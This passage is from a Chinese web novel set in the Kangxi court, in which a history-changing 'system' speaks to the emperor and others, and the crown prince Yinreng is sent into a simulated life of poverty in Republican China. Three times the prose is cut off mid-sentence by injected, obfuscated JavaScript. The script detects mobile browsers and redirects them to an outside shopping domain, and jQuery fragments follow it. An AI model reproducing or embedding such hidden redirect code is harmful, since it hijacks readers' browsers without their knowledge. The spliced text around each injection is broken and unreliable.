整个慈宁宫主殿安静下来,苏麻喇姑眉眼不住在几人身上打转,眼眸中满是深意。 就在这时,虚空中响起一道声音:“系统评审进度过慢,请诸位执行者尽快加快历史修改进度,新一轮奖励已开始。” 四种截然不同的奖励落在四个人的耳中,康熙和太子的眼神皆是一动,只是一个是欣喜,一个是恐惧。 皇贵妃还未从深思中回过神来,胤禛小心打量着她,不知道该不该将刚刚听到的系统声音告诉她。 伴随着四个人的深思,系统继续说道:“系统更新,可建议执行者修改方向……系统建议中:一、继续加强国家武装军队,二、发展科技,三、发展教育,四、发展经济……请尽快选择……” 康熙眼眸一动,下意识转头看了眼孝庄,在对方微微颔首下,他下意识就想选择发展经济,毕竟如今三藩已定,从康熙二十年开始,他便一直强调“与民休息,道在不扰”和“民为邦本,休养宜先”,就是希望能够尽量恢复民生,让百姓过得更好,也因为他一直认为当百姓过得好了,汉人们也会更认可满人的统治。 却没想到齐满月的心声在这时候突然响起:“哎呀,我之前想啥来着,哦哦,改变清宫对公主的教育!” 康熙动作一僵,孝庄赶忙给他摇头示意,他也顺势停下选择打算听听齐满月的心声。 “可惜了,就算是教育了公主顶多也就是在蒙古那边努把力,要是科技发展,造出大船……哎嘿嘿!” 康熙听到这个“哎嘿嘿”三个字,忍不住微微吸了口气,下意识想要催一下齐满月。 “哎……要是我穿越到两百年前的明朝就好了,有大船,有优秀的航海技术,那富饶丰富的美洲大陆,岂不是有可能是我们发现的了。” “人家哥伦布带去了疾病、屠杀、种族灭绝,我们过去带去的一定是更和平的选择吧,至少从后世猜测来看那里有可能和我们华夏人同源,那里可是物资丰富,且落后的文明之地啊,比我们现在的国土大了好多倍,说起来比大清的疆土大多少来着……” 康熙只觉得刚刚被系统打断的,被对方气出来的怒火再次慢慢染上来,他的大清怎么就不好了!难不成他们大清之后就不能有发现新大陆的机遇了?! 不过虽然这样心里想着,可康熙心中还是咯噔了一下。 他当然了解西学,更了解那些远道而来的洋人是何等的艰难,可却没想到他们竟然可以在两百年前就发现新大陆,那可是一片全新的陆地啊,只是不知道这个大好多倍具体有多大。 下一瞬齐满月的心声就为他答疑了。 “啊,想起来了,大了10.5倍!美洲大陆占全球28%的土地!” “嘶!”别说康熙,就算是不怎么知事的胤禛,都明白那个被错过的机缘陆地比自己国家土地大十倍是什么概念。 也因为这四人不约而同地倒吸凉气,皇贵妃回过神来,她看了看胤禛,发现他正在发蒙,赶忙轻轻拉着他的手拍了拍。 胤禛抬头看着她,张了张嘴,一时间不知道怎么说。 “回去告诉额娘。”皇贵妃温柔地擦了擦他的脸,轻声说道。 这一刻她仿佛又成了胤禛那个心目中温柔可亲的额娘,所以他乖乖的点了点头,轻声“嗯”了一声。 皇贵妃没注意到他声音中带着几分不易察觉的哽咽,只笑着拍了拍他又摸上自己的小腹,心中不自觉想到,要是个阿哥也不错,他会有个很好的哥哥…… 这样眼馋的一块大肥肉就这样没了,别说还在心声里不住遗憾的齐满月,就连自认为很理智的康熙都有种懊恼的情绪,要是他能回到两百年前,知道这块土地就好了…… “说起来……我记得在清朝统治期间还有个什么大陆被发现来着?我的地理课是真不好啊……” 康熙听到还有新大陆,眼睛忽地就亮了,赶忙转头看向齐满月,只等她蹦出一个更好的大陆,他马上就安排人练兵,研究大船! “嘶!狗皇帝这么看我干嘛?好诡异啊!”却不承想,齐满月竟被他的眼神吓到。 孝庄没忍住白了他一眼,才对齐满月温声说道:“知道你爱吃酸甜口的点心,前两日小厨房新进不错的方子,我让人做了一些,你尝尝。” 她给苏麻喇姑使了个眼色。 苏麻喇姑赶忙出去安排人送点心进来。 这一刻,孝庄忍不住庆幸,幸好她女儿阿图也爱吃这些,她就干脆让人常备了,不然一时间还真找不到能够吸引对方注意力的东西。 慈宁宫有自己的小厨房,点心又是常备的,所以很快苏麻喇姑就带着宫人给众人上了新的点心。 孝庄这一招果然有用,齐满月的注意力立刻被点心吸引,而康熙也早已错开紧盯着她的眼神,低头喝起茶来。 皇贵妃捻起一个梅花形状的点心轻轻咬了一口,眼前不由一亮,忍不住称赞道:“不愧是太皇太后宫里的,这点心做得确实好。” “既然合你的口味,那你回头让你宫里小厨房来拿方子。”孝庄对她笑着点了点头,又看向正闷头吃的齐满月,“襄嫔觉得如何?要不要也让你宫里小厨房来拿方子?” “喜欢是喜欢……只是臣妾宫里还未有小厨房。”齐满月当然喜欢,这点心做得松软可口,不仅是酸甜口,更是入口即化丝毫不干嘴,她不要太喜欢。 孝庄有些意外,随后就恍然道:“是啦,老身忘记了,早些年皇上要求过只有贵妃以上才能单独设立小厨房,不过也没事儿,以后若喜欢来我宫里吃就是。” 齐满月就要起身谢恩的时候,却听旁边康熙接着说道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598863|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' :“让孙儿的御茶膳房来学吧,反正永寿宫的膳食也是这边出的。” 皇贵妃刚刚还笑吟吟的脸突然一僵,她不可置信地看了康熙一眼又看了眼脸上似乎并不意外的康熙,只觉得手中的点心是怎么都吃不下了。 她当然明白齐满月的重要性,可没想到康熙竟然一直让御茶膳房给她备膳食,更没想到对方竟然一直瞒着身为皇贵妃本该管理后宫的自己。 只是当皇贵妃看着面前那张还带着几分稚嫩,一心吃点心的齐满月,那份难以形容的酸涩之心所造成的恶意,怎么都无法将其投向对方。 此时其余四人都没人关注她的情绪,只继续听着齐满月的心声。 “果然甜品可以拯救大脑!我想起来了!” 四人齐齐拿起点心,做出正在品尝的模样。 “澳大利亚!从东海出发一路向东,完全独立于大海中的一片大陆!虽然面积只有现在的清朝疆土一点五倍,但也很大了啊……” “感觉澳大利亚比美洲大陆还可惜啊,那可是被称为坐在矿车上的国家,超级大矿脉最后生生成为英国的补血包,成就了对方日不落帝国之名啊。” 康熙连续咽了几个唾沫,眼中闪出势在必得的凶狠,这样的无主之地,他想要!他定要得到! “可惜……” 康熙握拳的手再次一僵,忍不住祈求长生天,这样的机缘一定要落在大清手里! “可惜是明朝万历年间就被发现了。” 康熙下意识就猛捶桌子,可只觉得手下一软,一扭头发现太子一脸恨铁不成钢地看着他,一双小手直接放在他的手下。 趁齐满月还没发现,太子悄然退了过去。 康熙一时间不知道该生气对方竟然敢嫌弃自己这个君父,还是该感慨幸好太子离自己近了,不然胤禛还小反应不过来,皇贵妃听不到心声,怕是又要把关键点吓没了。 齐满月正在心里将学到的公元时间和清朝年号一一对齐,根本没发现轻手轻脚的父子俩。 “啊……今年航海家勾勒出了地图的大致形状。” “不对,是去年,现在是康熙二十二年正月了。” 康熙父子俩的眼睛一亮又一暗,让一旁看热闹的孝庄差点没憋住笑出声来。 倒也不是她没野心,只是她年纪大了,有野心也没用,还不如看看热闹呢,毕竟热闹还是很好看的。 “说起来,好像是康熙五十三年英国人才在澳大利亚建立殖民地,满清还真来得及,不过我该怎么提醒康熙呢?” 齐满月还在心里琢磨,那边康熙已经开始盘算怎么创建海军了,最好直接拿下新大陆建立一个安稳的航线。 “要是能打下小日本就好了,那可是有名的金银岛啊,尤其是银矿曾一度占据全世界产量的三分之一,简直是长在金银上的岛屿,要是能怂恿着康熙灭了倭寇就好了!” 康熙没想到对方突然提到这个海岛小国,他总觉得对方语气中的恨意有些惊人,只是如今大清实在无法对外开战,他也不想对外开战,当然占据无主之地是另一回事。 最终在齐满月抛下一句“科技是一切发展的基础”后,康熙沉默着看向发展科技几个字,许久后他在孝庄的默许下,点下了一个选择。 太子垂眸看着地面,思绪中却渐渐转移到面前的文字,那是他相信绝不会出现在其他三人面前的文字,那是猩红得有些刺眼的警告。 37. 系统和胤礽 慈宁宫散得比预料的要早得多,最先开口的是皇贵妃,她不知道在想什么,脸色有些不甚多好地直接提出告辞。 念在她有身孕的份儿上,孝庄并没有多留她,反而亲切地好生劝了她好多句,才劝得皇贵妃应下,之后便免了她来慈宁宫请安一事。 “额涅玛玛心疼你,你就好好在承乾宫养身体,至于妃嫔请安也不必让她们叨扰你了,只让钮祜禄氏带她们过来给额涅玛玛请安好了。”康熙见状眼睛扫过皇贵妃的小腹,眼眸微微一暗,轻声说道。 皇贵妃并没有注意到他眼眸中的一丝阴郁,反而因为康熙这几声劝慰,脸上萦绕着难以抑制的笑意,甚至连声音都温柔了几分:“嗯,臣妾知道。” “既然如常,干脆就都别过来好了。”孝庄揉了揉额角,“如今天还冷着,别让那些嫔妃们跑来跑去了,出了正月再说吧,钮祜禄那边……” 孝庄蹙了蹙眉:“她也不得空,别麻烦她了。” 钮祜禄氏不得空?这简直是后宫最大的笑话,她从孝昭仁皇后去世后两年才被钮祜禄一族送入宫,初入宫时康熙看在她同孝昭仁皇后有几分相像,也不是没想宠爱于她。 只是这位性格实在有些倨傲,前年封为贵妃后更是插手朝政,也因此康熙冷了她不少日子。 后来若不是齐满月入宫,或许康熙会慢慢放下心结,也如史书记载一般与她生下一儿一女,只是齐满月的入宫加之所带来的系统影响,早已打断了康熙原本的注意力,将他所有的注意力都放在了修改历史之上。 前几日康熙也不是没去她宫里,只是没怎么召寝,甚至不知道她做了什么,康熙在过年期间直接剥夺了她管理后宫的事务。 皇贵妃不知道想到什么,眼眸中闪过一丝嫌恶,随后又捏着帕子掩下嘴角的笑意。 “贵妃这些时日……是有些忙。” 康熙听到皇贵妃这么说,嘴角抽了抽,才说道:“既然如此,就干脆请安都免了,前几日不还听说哪个宫的小答应请安时把脚扭了。” “就是储秀宫的文答应。”皇贵妃脸上闪过些许怜悯,“也是个可怜见的,听太医说怕是要养上好些日子呢。” “伤筋动骨一百天,就让她好生休息吧。”康熙顿了顿,微微蹙眉道,“回头你安排下,给她贵人例好了。” 皇贵妃笑着温声应下,又替文答应谢了皇恩,这才提出带着胤禛一同回承乾宫。 其余几人除了齐满月是以为娘俩要亲近亲近,其他人都明白皇贵妃为什么这样做,不过也都没在意,毕竟这本就是他们早已商量好的,有些事自然也无须瞒着皇贵妃。 皇贵妃牵着胤禛往外走着,却没发现旁边的胤禛身体一僵,下意识抬头看了她一眼。 “咦?钮祜禄那么不得宠吗?不对啊,她不是给康熙生了赛级阿哥老十,还生了个女儿皇十一女吗?那可是清朝唯一一个双字谥号的贵妃!温僖贵妃啊,可见老康当年对她的死有多悲痛,咋现在看起来好冷漠,我该不会蝴蝶了这位宠妃吧?” 这话落在还未走的三人耳中,孝庄有些意外地看了眼康熙,胤礽眼中则带了一点点嫌弃,他这段时间没少听见齐满月心声中汗阿玛的宠妃,宜妃、德妃都不算稀奇了,后续历史上真正的襄嫔汉妃也不算多惊讶了,但这次怎么又出来了个宠妃! 康熙被这娘俩眼神一看,直接不顾形象翻了个白眼,拉着齐满月就一行礼:“孙儿先告退。” 齐满月一脸懵的随着行礼,又被人拉着离开,一路上还不忘吐槽:“有毒啊!离开就离开带着我干嘛?!” “朕想着,昨天那个画作还没弄完,有些技!术!朕非常不!好!想向爱妃请教!请教!”康熙表情还有些僵硬,却偏偏逼着自己硬挤出一抹笑意。 齐满月总觉得他的话里话外带着一些咬牙切齿,莫名觉得背后一凉,却怎么也想不起来自己怎么得罪对方了。 胤礽自然也随后和孝庄提出了告辞。 孝庄并没有拦着他多说什么,只是看着他的背影意味深长道:“那个孩子……” 苏麻喇姑没有多嘴追问,只是拿起一件厚实的毛皮大袄往她肩上一披:“儿孙自有儿孙福。” “是啊……儿孙自有儿孙福……”孝庄点了点头,拍了拍她的肩转身回了内室。 胤礽在出了慈宁宫后,那张温煦的笑容立刻消失,他阴冷地看着虚空中还在不断闪烁的红字,抬起手揉了揉额角。 毓庆宫的宫人们早已习惯了他偶尔的阴晴不定,也习惯了他的暴戾脾气,此时虽然看出他脸色难看,却也不敢说什么劝慰的话,反而皆是压低存在感,唯恐惹了对方注意。 胤礽冰冷的眼神在宫人身上扫了又扫,直把所有人看得腰身都压弯了几分后,才猛吸了一口气,闭了闭眼,重重往靠背上一砸。 他当然想像往日那样对宫人发泄心中不满。 可他自从选择了那个清醒的大脑后,越发明白了原本命运轨迹中为什么他会被康熙厌弃,也明白了许多事情就是由这一点点小事积累而成。 如今他没办法直接推拒康熙给他的超规格待遇,却也能压一压自己的脾气,做出大家都喜欢的太子模样。 一路到了毓庆宫,胤礽将所有人从宫里赶出去后,才看着虚空冷声说道:“本宫做了什么,值得你这样警告?” 他以为系统不会回他,或者回他一句冷冰冰的话,却没想到空气中突然传来一个与过去机械感截然不同的声音。 “您的思想走在了不该走的方向,希望您谨记,系统选择你们是因为你们具有可以改变历史的能力,却不是只能选择你们,我们希望承载任务的是一个拥有公心的人,而非一个为了己欲破坏发展的人。” 胤礽沉默了不过短瞬,忽地发出一阵嘲讽的笑:“本宫从不信这个世界上有绝对公心的人,人生而自私,本宫不过是为了自己多考虑一二多算计一二,怎么就成了破坏发展的人了?” “系统并不想和人类发生争辩,你我构造不同思想不同是无法说服彼此的,不如让您亲眼看一下,这个世上拥有公心的人很多……” 胤礽还没想明白系统这段话是什么意思,只觉眼前一黑,竟直接昏倒在桌案上。 虚空中的系统过了好一会儿才对外交代道:“本宫有些功课要做,任何人不要打扰!” 这声音和昏倒的胤礽一模一样,连那因生气而带着几分冷厉的声调都一模一样。 外面的宫人们何等熟悉自己的主子,此刻听到这和真人简直没什么区别的声音,也丝毫没怀疑什么。 胤礽睁开双眼的时候,他还是襁褓里的孩童,他失去了身为大清第一位太子的记忆,却依稀记得自己出身尊贵享受着全天下的供养。 而他现在穿着粗糙的棉布衣衫,磨得他格外不舒服,却只能因不能说话而发出一阵阵哭号。 哭嚎引来的是一个瘦瘪的□□,他本能地想要抗拒,却无法抵抗生理的本能,乖顺地张开了嘴,只是他拼命地吸了几口却什么都没有。 “娘的狗剩儿,放心,很快就有吃的了。”细碎的模糊的听不清的声音在他耳边响起。 他狠狠皱了皱眉,很快一道微弱电流闪过,他能够听清这些话了,也因此眉头皱得更高了。 “等你爹卖了你五姐,就能给你换几斤干净粮食,到时候咱们多磨磨,我的儿也能吃上富贵人家吃的细粮了。”女人的话在胤礽的耳中实在碎叨,让他忍不住皱眉再次嚎了几嗓子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601336|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “狗剩娘!你家男人出事儿了!!”隔壁穿着同样破烂衣衫的瘦弱妇人,脸上带着慌张冲了进来。 抱着胤礽的女人僵了一瞬,才有些呆愣开口:“怎……怎么了?五妞儿没卖出去?那我儿咋办?” “什么呀!卖了!只是回来的时候被丘八拉走当壮丁去了!”隔壁妇人拍着大腿,一脸遗憾的样子,可那遗憾怎么都不像是为女人可惜,而是带着对那被一同带走的粮食而可惜。 她咂巴了下嘴,环顾了一圈这虽然破烂但好歹能遮风挡雨比自家那个漏风漏雨的屋子强多了“狗剩娘啊,你看你这男人这一走……” 她眼眸在狗剩娘身上转了转:“你不如把这屋子一卖,孩子一扔,再嫁就是!” 狗剩娘紧紧搂了搂怀里的孩子,头摇得像拨浪鼓。 妇人见状嘴角微微勾起:“哎呀,我就知道你舍不得,不如这样,我娘家七哥没个屋里人,不如你俩搭伙过日子,他性格好,肯定把狗剩当亲生的带!” 狗剩娘看了看这破屋破院,无声地叹了口气后,点了点头,却又不放心道:“人多大?为什么不娶妻?” 妇人扯了扯身上有些不蔽体的衣衫:“哎呀,我七哥就是太老实了,人嘛是能干的,比你也就略大几岁而已,早些年家里有点子穷,才被落下。” 说着她又觉得不对,赶忙说道:“现在他家里日子过得不错,你放心吧,养你们娘俩没问题。” 狗剩娘看着饿得如同骷髅一样的孩子,再想想那些被拉走再也没回来的壮丁,重重地叹口气后点了点头。 胤礽没想到自己还没想明白自己脑子里那些隐隐约约看不清的画面是什么,自家爹就没了,自家娘就改嫁了。 只是他如今不过襁褓儿童,好似什么都做不了,只能顺着女人的动作颠簸流转间,上了个驴车,然后摇摇晃晃,拴着红头绳的女人就到了很远的另一个村子。 “不!我不嫁了!不嫁了!”好不容易用女人聘礼换来的粮食填饱了肚子,正睡得香的胤礽就被女人凄厉的尖叫声吵醒…… 系统飘在上空,看着这个灰黄色的破败山村,视线飘向远方,那里很多人脸上带着诡异的红晕、苍白,然后走着走着摔倒在地再也爬不起来,那是瘟疫…… 更远的更广袤的地方本该下雨的季节却不见一点阴云,晴空万里之下,衣不蔽体的瘦弱百姓趴在干涸的河床上寻找着一滴水的存在,更远处的本该长满庄稼的土地早已是一片苍黄…… 那些灯红酒绿的城市,俊男美女们相互簇拥着挤进一扇扇旋转门中,街头巷尾看不到光的地方,有人拿着武器火拼,有人拿着违规的东西交易,然后穿着各异的洋人从大陆上而过,黑发的百姓们只能仓皇的躲避,眼中带着麻木和恐惧。 这就是民国,一个华夏大地遭遇了百年屈辱的时代,一个英豪辈出的时代,一个拥有着公心的人诞生的时代…… 系统想看看那个骄傲的暴戾的,在得到一个清醒大脑后开始走向他所认为的歧路上的皇子,在这里会有怎样的蜕变。 “所以?您今天还要留宿永寿宫!?”康熙二十二年正月初四的永寿宫,齐满月第一次在康熙面前没有保持住伪装的乖顺模样。 康熙咬了咬牙,暗示地看了下床幔:“不欢迎?” 齐满月看了看早已退下的宫人,张了张嘴,忍不住发出一声冷嘲:“臣妾不敢,只是这实在不合规矩。” “朕累了。”康熙没搭理她,反倒是直接转身往里间走去。 齐满月在他身后牙根咬得死死的,只恨不得这一下咬在对方身上。 康熙听着她内心里不断地堪称骂的话,忍不住勾了勾嘴角,生气?他才不气,有这些心声伴奏,这夜晚也过得越发有趣了。 38. 依旧被嫌弃的皇帝 一个成年女性值多少钱? 这其实是一个很荒谬的问题,人的价值怎么能用金钱衡量呢? 可如今这样的情况就摆在胤礽面前,他趴在羊圈里,透过木栅栏的缝隙,看着那个为了养他而把自己嫁人的女人,此刻被她的第二任丈夫按斤卖出去。 那是一个实在称不上大的秤,那个原本在他模糊记忆里还算个身形高大的女人,此时蜷缩在秤上,竟然显得那称实在有些空旷了些。 “周老三,你就这么把你婆娘卖了?够吃几顿的呀,还不如卖了那个小的,让婆娘再给你生个。”旁边看热闹的闲汉,眼睛在女人的身上不住扫量,尤其是女人实在称不上衣服的布缕下隐约可见的胸脯。 “呸!这贱人为了那个小的死活都不肯给老子生儿子,既然如此我就卖了她再买个!”周老三往地上吐了口浓痰,恨恨说道。 他如今已经五十五岁了,可看上去却有八十几岁的模样,一只眼是瞎的,一条腿是瘸的,一只手是扭曲的,看上去相比于其他男人实在偏瘦弱几分。 可即便这样,女人和胤礽在他手中也如同鸡崽一样,任他拿捏。 “那小的怎么办?”闲汉瞥了眼脏污的羊圈,那里唯一称得上干净的地方,躺了一个浑身是伤的孩子。 他眼睛瞥向木栅栏的位置,一双阴冷的眼眸透过缝隙扫过那里。 他忍不住打了个冷战,又似不敢相信一样再次偷偷看了眼羊圈,那双眼睛已经看向了周老三。 “有个富户看上了他,我打算晚点儿把他送过去,到时候指不定能换点好东西,或许能换个老爷用过的丫环也不是不成。” 闲汉诧异地瞥过羊圈,有些不可置信:“富户家也缺儿子?” 周老三嘴角猥琐地勾了勾,并没有说清楚,只得意地收过卖妻的银钱,转身回了房间。 闲汉嫌恶地呸了一声,才意兴阑珊离开。 胤礽瘫软在羊圈里,这里是女人每日为他清理的地方,而如今他已经再无庇护了…… 可他总觉得不该这样,他应该高高在上,这些民生疾苦或许是他在书本上看到的,但不该是他经历的。 脑海里模糊的却怎么都看不清晰的画面不断闪现,他猛吸了几口气,眼神看向紧闭的房门,他想无论如何,他不该任人宰割…… 时间过得很快,尤其是幻境中,胤礽总觉得有哪里不对,可这样的情况早已充斥着他生活中每时每刻,他也没再像过去那样关注。 如今他不过是个生活在四九城里的小混混,每天想得最多的也就是躲开洋大人会被打,躲开当官的会被杀,躲开当兵的会被拉壮丁,要学会像个老鼠一样在自己的国家里生存。 系统在虚空里挠了挠头,他第一次使用幻境模拟功能,没想到这玩意儿和现实的时差没那么大,现在外面天都快黑了,胤礽该回去睡觉了,可对方还没见到他不认可的公心之人。 “时间点设置有误啊。”他拟人的叹了口气,开始翻自己的数据库,许久后,他叹了口气,抬手将书桌里藏的酒翻出来撒了一屋子,又不忘给胤礽的身体撒上。 大概半个时辰后,小太监小心翼翼地推开门,深吸了口气,才低声回道:“殿下,该睡了。” 他等了许久,等到身上都不再颤抖后,才试探地迈进书房,心惊胆战地抬头。 只是不等他抬起头,浓重的酒味就充斥了他的鼻腔。 小太监吓得赶忙就往外跑,却被毓庆宫大太监一把按住:“殿下如此年幼就饮酒,若是被皇上知道你我都得死。” “那……那怎么办?”小太监咽了咽唾沫,他在内务府时见过被打死的太监,那血淋淋的样子,是每个新入宫小太监的噩梦。 “你找两个口风紧的,先把殿下抬到寝殿,我带人清扫。”大太监摆了摆手。 小太监听后连连点头,赶忙去安排。 系统坐在房梁上,忍不住松了口气,赶忙又打开幻境。 这里,胤礽已经褪去了当初的小混混模样,成了一个不知道哪个军阀手下的大头兵。 毓庆宫的事情只要硬压下来,倒也不是瞒不过乾清宫,尤其是当这一天,紫禁城地位最高的男人沉浸在温柔乡的时候。 当然毓庆宫的宫人们依旧战战兢兢地等待着太子醒来,亦或是等待着被乾清宫发现后处死,这个夜晚似乎来得格外的煎熬。 整个紫禁城里不止毓庆宫的人睡不着,东西六宫不少消息灵通的妃嫔也睡不着。 “所以皇上今日还宿在永寿宫?!”第一个炸毛的就是僖嫔。 她将手里的毛毡画狠狠一推,却在马上掉在地上时赶忙拉了回来,手中的工具针在画上狠狠戳了一下:“慈宁宫怎么就准许皇上这样破坏规矩!?” “娘娘哎,你不想想,那是谁,那是皇帝,天下都是他的,他就是这天下的主子,谁敢劝啊。”宫女帮她收拾了下,才又上了一碗羊奶,“您啊纵然没宠,但好歹有家世,有地位,有钱,自己想得开还不好吗?” 僖嫔拿着工具针又戳了几下后,才说道:“谁入宫不想受宠,万一我有幸生个一儿半女呢!以后难不成就和那些小嫔妃一样吗?” 宫女无力叹了口气:“您生气有什么用?” 僖嫔瘪了瘪嘴,暗自瞪了眼宫女才看向桌子上的毛毡画:“你说都是人,怎么她就长得好脑子好,还受宠?我长得好就不行呢?” 宫女这次没理她,反正自家主子生一会儿闷气也就算了。 别说僖嫔炸毛,连在养胎的宜妃都忍不住震惊了,她捂着肚子,眉头紧皱:“这襄嫔……也忒受宠了些……” “娘娘,您还是先关注肚子吧,不管她何等受宠,也不敌您当年啊,就算是德妃娘娘怕也不及。” 宜妃却摇了摇头:“当年皇上再如何宠我和德妃妹妹,都不会轻易弃宫规不顾,纵使那些超规格的赏赐,如今这几年皇上也未尝没给小嫔妃们赏赐。” 说着她抬手摸了摸额角:“说起来,听说皇上给她赏了大红色的织锦布料,还叮嘱内务府给她做成满绣常服?” 宫人稍微回忆了一番后,才说道:“听内务府是有这样的传言,可到底也没个真信儿,也不曾见襄嫔传出来过。” 宜妃轻轻摇了摇头:“襄嫔入宫也有快一年了,你可曾见她是个轻浮性子?” 宫人摇了摇头:“奴婢日常见着,只觉得襄嫔娘娘实在是个胆小怯弱之人,身子骨似乎也不大好。” “这就是聪明人啊……”宜妃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17603475|204029||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 轻叹口气,“齐佳一族嫡系唯一的姑娘,又是布色赫仅有的子嗣,在闺阁里怎会不是个受宠的,可如今人家夹着尾巴做人,偏还让她得了宠,这才叫聪明啊。” 宫人连忙将一盏茶递上,轻声劝慰道:“娘娘,您如今身子重,何必与她较劲,说白了再如何她也不过是个嫔位,在上面别说四妃,贵妃、皇贵妃都在,更有慈宁宫的太皇太后呢,皇上不会太过分的。” 宜妃手轻轻抚上肚子:“是啊……不过是个嫔位,可偏偏这个嫔位的娘娘不仅独居一宫,还能让皇上再三破例,前些日子竟还让内务府送了不少彩烛,也不知道咱们这位皇贵妃怎么就顺着对方呢?” “主子!”宫人见她仿佛陷入牛角尖一样,重重叹了口气,“您忘了白日里德妃娘娘劝您的话了?” 宜妃听后动作一顿,才继续摸着肚子说道:“德妃说得对,我和她谁不是连日承宠过的,或许事情真不会走到那种糟糕的地步……” 时间缓缓流逝,太阳重新升起。 康熙含笑着看着睡着的齐满月,他确实发现这种只有齐满月身上才有的趣味,那是心口不一而带来的独特体验,也让他觉得怎么和对方相处都不够。 于是,在白天,他直接将早膳摆在了永寿宫,然后拉着齐满月一头扎进手工室,一边做着手工,一边听着对方没有边际的吐槽,时不时还能得到一些关于未来的信息,他也默默记下,只等开印后安排下去。 这一折腾,就又到了晚膳时间,看着丰富的晚膳齐满月眼睛都亮了,连心声都多了对康熙的夸赞:“不愧是帝王,虽然号称是简朴皇帝,可吃的还是这样好~这也算是他在我宫里的优点之一吧。” “别说……”齐满月抬手轻轻揉了揉后背,“昨天技术突飞猛进啊?没见他补课啊?怎么变化那么大?” 康熙没想到对方吃个饭还能想那么多,一时间不知道该哭笑不得于对方果然跳跃的思绪,还是该庆幸幸好没在慈宁宫,也不用丢脸了。 吃过了晚膳,康熙看到齐满月又要一头扎进手工室,忍不住皱起眉拉着她的手起身:“散散步,消消食。” 齐满月一向疲懒,她最不爱动弹,可面对的是这位爷,她也不能反驳,只能悄悄瞪了一眼康熙,顺着对方的力度出了门。 可她不知道自己的心声早已暴露了一切。 “狗皇帝,你穿着软底平底靴走多少都觉得舒服啊,我呢!我穿着的是花盆底!”齐满月暗自跺了跺脚,却没发现康熙悄悄勾起的嘴角,“虽然花盆底比现代高跟稍微舒服了那么一丢丢,可也很难走路啊!烦死了!” “都怪狗皇帝!要不是选我入宫,我嫁个普通贵族,有我阿玛额娘疼我,平时根本就可以不穿花盆底!” 康熙本就当乐子听着她的心声,此时听她又提了在宫外打算嫁人的事情,一时间一股子糅杂了酸涩情绪的怒意从心头涌来,他就那么不堪吗?!他给了她多少足以让后宫女人羡慕的特例了!这个女人怎么就不记点他的好呢? 歪头看着对方的两把头,他正想着不妨找个茬吓一下这个女人,就见慈宁宫宫人由远而近。 康熙眼眸中闪过些许担忧,这些时日孝庄已经很少找他了,这突然找他莫不是发生什么大事了? 39. 慈宁宫和毓庆宫 急匆匆赶到慈宁宫,康熙先碰到正从主殿里出来的淑慧大长公主:“姑母今日来陪额涅玛玛?” 淑慧大长公主笑吟吟地对他一施礼,脸上带着几分难以掩饰的戏谑:“嗯,皇上来了,快进去吧。” 康熙总觉得被她看得有种发毛的感觉,但他也没多想,只不过心里还是放了心,知道至少孝庄没出事,不然淑慧大长公主不会是这样的模样。 走进主殿,果然看到孝庄正和苏麻喇姑笑着说什么,时不时还笑得滚作一团,颇有种少女时期的模样,让康熙忍不住暗自叹了口气。 汉人们常说老小孩老小孩,还真是没说错。 见他进来,孝庄轻咳两声,坐直了身体,对他笑着说道:“你这几日都在永寿宫宿着?” 康熙没想到请安都取消了还能传到对方耳中,不过转念一想又了然了,便也没再细究,点了点头:“是,正好孙儿这些日子也无事,就在永寿宫多住了几日。” 孝庄端起奶茶喝了一口后才说道:“我倒也不是阻止你宠她,以她的身份便是更宠几分也未尝不可,只是自古以来国有国法家有家规,宫里也有宫里的规矩。” “这宫里从未有过帝王宿在嫔妃宫里的规矩,自前朝起,除皇后之外所有妃嫔被临幸,都是被招至皇帝寝宫,连皇贵妃都没这样的脸面,你如今可要将她捧上天了?” 康熙听出孝庄虽然话里话外还是不赞同,可却没有真的生气,心下松了口气,才道:“也怪那齐佳氏,她在乾清宫数次伴驾,都不肯暴露太多未来之事。” 康熙顿了顿,抬眼扫了一眼孝庄,才继续说道:“孙儿倒也不是想不到宫规,只是她只有在永寿宫,才能吐露更多,而且……” “而且孙儿也觉得永寿宫静逸,且她做的那些小玩意儿非要磨炼心性,有时竟比书法还要强些。” 孝庄听后眼眸带着些许诧异看了他一眼,转瞬就白了康熙一眼:“少拿这些东西糊弄我,我看你是宠她宠得没了心气!” 她上下扫量了这个孙儿:“你该不会是迷上她那副容貌不肯承认?还是真迷上那些小玩意儿?就那么好玩?” 康熙张了张嘴,有些尴尬地抠了抠脸,他一时间还真不知道承认自己孩童心性迷恋玩具的好,还是贪恋美色的好。 孝庄并没有打算说太多,她也看出来了,自己这个孙子怕是真迷恋上了齐满月,想了想叹了口气:“你对齐佳氏的宠爱都传到宫外去了,连阿图都知道,今日还巴巴问我。” 